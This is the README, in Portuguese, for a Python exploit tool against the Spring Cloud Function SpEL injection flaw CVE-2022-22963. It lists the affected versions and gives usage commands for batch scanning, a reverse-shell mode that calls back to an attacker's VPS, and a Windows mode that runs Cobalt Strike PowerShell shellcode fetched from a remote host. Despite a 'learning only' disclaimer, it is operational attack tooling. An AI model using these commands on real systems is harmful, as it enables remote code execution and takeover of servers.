
Spring Cloud Function Vulnerabilidade de Injeção de Expressão SPEL (CVE-2022-22963)
O framework Spring fornece um modelo abrangente de programação e configuração para aplicações empresariais modernas baseadas em Java (em qualquer tipo de plataforma de implantação).
O método apply da classe RoutingFunction no framework serverless Spring Cloud Function dentro do Spring Cloud processa o parâmetro "spring.cloud.function.routing-expression" do cabeçalho da requisição como uma expressão Spel, resultando em injeção de expressão Spel, permitindo que um atacante execute código arbitrário através desta vulnerabilidade.
Escopo de impacto: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
O script é apenas para fins de aprendizado; qualquer uso inadequado é de responsabilidade do usuário e não do autor.
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u especifica uma única URL para teste de dnslog
-e especifica o modo de shell reverso
-s especifica o sistema operacional do host de destino, padrão linux, parâmetros win/linux usado com os parâmetros -i e -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

123.58.236.76:47874 é o campo de tiro docker do vulfocus, não possui o comando nslookup instalado, então o teste de dnslog falhou
As URLs em lote devem ser o diretório raiz do site; http://192.168.50.222:8080/ é o diretório raiz do campo de tiro local; adicionar o diretório test fará com que o PoC falhe.
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c especifica o endereço do código de shell do PowerShell gerado pelo Cobalt Strike, deve ser usado com -s "win". A opção -c deve executar o script no Windows, o script chamará o PowerShell para codificar o PoC.


